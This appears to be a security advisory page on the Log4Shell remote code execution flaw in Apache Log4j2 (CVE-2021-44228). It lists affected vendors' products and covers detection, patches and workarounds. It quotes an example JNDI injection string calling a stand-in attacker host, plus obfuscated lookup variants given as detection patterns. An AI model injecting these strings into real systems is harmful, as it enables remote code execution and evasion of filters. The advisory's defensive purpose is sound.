CVE-2021-44228: Siemens 6bk1602-0aa12-0tp0 RCE Flaw

CVE-2021-44228 Overview

CVE-2021-44228, commonly known as "Log4Shell," is a critical remote code execution vulnerability in Apache Log4j2, a widely-used Java logging library. The vulnerability exists in Log4j2 versions 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1). The JNDI (Java Naming and Directory Interface) features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

This vulnerability has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild. Multiple proof-of-concept exploits are publicly available, and the vulnerability has been extensively weaponized by threat actors ranging from opportunistic attackers to nation-state adversaries.

Critical Impact
Unauthenticated remote attackers can achieve complete system compromise by injecting malicious JNDI lookup strings into logged data, enabling arbitrary code execution on vulnerable servers without any user interaction.

Affected Products

Apache Log4j 2.0-beta9 through 2.15.0 (core library)
Cisco Products (DNA Center, Identity Services Engine, Unified Communications Manager, Webex Meetings Server, and 100+ additional products)
Siemens Industrial Products (SPPA-T3000, Teamcenter, MindSphere, Industrial Edge Management, and numerous automation systems)
NetApp Products (Active IQ Unified Manager, Cloud Manager, SnapCenter, OnCommand Insight)
Intel Products (Datacenter Manager, System Studio, Secure Device Onboard)
Debian Linux 9.0, 10.0, 11.0
Fedora 34, 35
VMware Products (vCenter Server, multiple enterprise products)
SonicWall Email Security
Apple Xcode
Bentley Synchro and Synchro 4D

Discovery Timeline

2021-12-10 - CVE-2021-44228 published to NVD
2026-02-20 - Last updated in NVD database

Technical Details for CVE-2021-44228

Vulnerability Analysis

Log4Shell exploits a dangerous feature in Apache Log4j2's message lookup substitution mechanism. When Log4j2 processes a log message, it evaluates special lookup expressions embedded within the message string. The JNDI Lookup feature, in particular, allows the logging framework to retrieve values from external sources via JNDI, which supports multiple protocols including LDAP, RMI, and DNS.

The vulnerability arises because Log4j2 does not properly validate or sanitize JNDI lookup strings before processing them. When an attacker injects a malicious string such as ${jndi:ldap://attacker.com/exploit} into any input field that eventually gets logged, Log4j2 attempts to resolve this lookup by connecting to the attacker-controlled server. The malicious LDAP server can then respond with a reference to a remote Java class, which Log4j2 downloads and executes with the privileges of the application.

This vulnerability is particularly devastating because logging is ubiquitous in Java applications. Any user-controllable data that gets logged—including HTTP headers (User-Agent, X-Forwarded-For), form fields, API parameters, or even authentication credentials—becomes an attack vector.

Root Cause

The root cause is improper input validation (CWE-20) combined with expression language injection (CWE-917) in Log4j2's message lookup substitution feature. The library's design allowed arbitrary JNDI lookups to be triggered from untrusted log message content without any security restrictions. The MessagePatternConverter class recursively processes lookup patterns without distinguishing between trusted configuration data and untrusted user input. This architectural flaw meant that any string passed to log methods could potentially trigger remote class loading and execution.

Attack Vector

The attack is network-based and requires no authentication or user interaction. An attacker simply needs to find an input field in a vulnerable application that gets logged by Log4j2. Common attack vectors include:

HTTP Headers: Injecting payloads into User-Agent, X-Api-Version, X-Forwarded-For, or custom headers
Form Fields: Submitting malicious strings in login forms, search boxes, or any user input
API Parameters: Including payloads in REST API request bodies or query parameters
Authentication Data: Using malicious usernames or other authentication fields

When the vulnerable application logs the attacker's input, Log4j2 processes the JNDI lookup, connects to the attacker's server, downloads a malicious Java class, and executes it. The attack can be conducted without any prior access to the target system, making it trivially exploitable at scale.

The typical exploitation flow involves sending a crafted request containing a JNDI lookup string. For example, an HTTP request with a malicious User-Agent header triggers Log4j2 to resolve the JNDI reference when logging the request. The attacker's LDAP server responds with a reference to a malicious class file, which is then loaded and executed by the vulnerable Java application, granting the attacker remote code execution capabilities.

Detection Methods for CVE-2021-44228

Indicators of Compromise

Outbound LDAP (port 389/636), RMI (port 1099), or DNS connections to unusual or unknown external IP addresses from application servers
Log entries containing suspicious patterns such as ${jndi:ldap://, ${jndi:rmi://, ${jndi:dns://, or obfuscated variants like ${${lower:j}ndi:, ${j${::-n}di:}
Unexpected Java class files or JAR files downloaded to temporary directories or application paths
Anomalous process spawning from Java applications, particularly shell commands or PowerShell executions
DNS queries for domains associated with known Log4Shell exploitation infrastructure

Detection Strategies

Deploy network monitoring rules to detect JNDI-related outbound traffic patterns and connections to suspicious external endpoints
Implement web application firewall (WAF) rules to block requests containing Log4Shell payload patterns, including obfuscated variants
Conduct software composition analysis (SCA) scans to identify all instances of vulnerable Log4j2 versions in your environment
Review application logs for evidence of exploitation attempts by searching for ${jndi: patterns and their obfuscated forms
Use specialized Log4Shell vulnerability scanners such as those available from CISA to identify vulnerable systems

Monitoring Recommendations

Enable enhanced logging for Java applications and monitor for JNDI-related errors or unusual class loading activity
Configure SIEM rules to alert on Log4Shell-specific patterns in web server logs, application logs, and network traffic
Monitor for post-exploitation indicators including reverse shells, cryptocurrency miners, ransomware deployment, and lateral movement
Track threat intelligence feeds for new Log4Shell exploitation techniques and payload obfuscation methods

How to Mitigate CVE-2021-44228

Immediate Actions Required

Upgrade Apache Log4j2 to version 2.17.0 or later (or 2.12.3 / 2.3.1 for Java 7/6 respectively) immediately on all affected systems
If immediate patching is not possible, set the system property log4j2.formatMsgNoLookups=true or remove the JndiLookup class from the classpath
Block outbound LDAP, RMI, and suspicious DNS traffic from application servers at the network perimeter
Conduct a comprehensive inventory of all Java applications and third-party products to identify vulnerable Log4j2 instances
Apply vendor-specific patches for affected products from Cisco, Siemens, VMware, NetApp, and other vendors

Patch Information

Apache has released multiple patched versions addressing this vulnerability:

Log4j 2.17.0 (Java 8+): Completely removes JNDI lookup functionality by default
Log4j 2.16.0 (Java 8+): Disables JNDI lookup functionality by default (additional CVE-2021-45046 fix in 2.17.0)
Log4j 2.12.3 (Java 7): Backported fix for Java 7 environments
Log4j 2.3.1 (Java 6): Backported fix for legacy Java 6 environments

Organizations should upgrade to the latest available version. The Apache Log4j Security Page provides comprehensive upgrade guidance. Major vendors including Cisco, Siemens, Oracle, and Microsoft have released advisories with product-specific patch information.

Workarounds

Set the JVM option -Dlog4j2.formatMsgNoLookups=true to disable message lookup substitution (effective for Log4j2 2.10.0 and later)
Remove the JndiLookup class from the log4j-core JAR file using: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
For containerized applications, update base images to include patched Log4j2 versions and redeploy
Implement egress filtering to block outbound LDAP (389/636), RMI (1099), and LDAPS connections from application servers

bash

# Remove JndiLookup class from log4j-core JAR (temporary mitigation)
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# Set JVM property to disable lookups (for Log4j 2.10.0+)
# Add to application startup script or JAVA_OPTS
export JAVA_OPTS="$JAVA_OPTS -Dlog4j2.formatMsgNoLookups=true"

# Alternative: Set environment variable (for Log4j 2.10.0+)
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true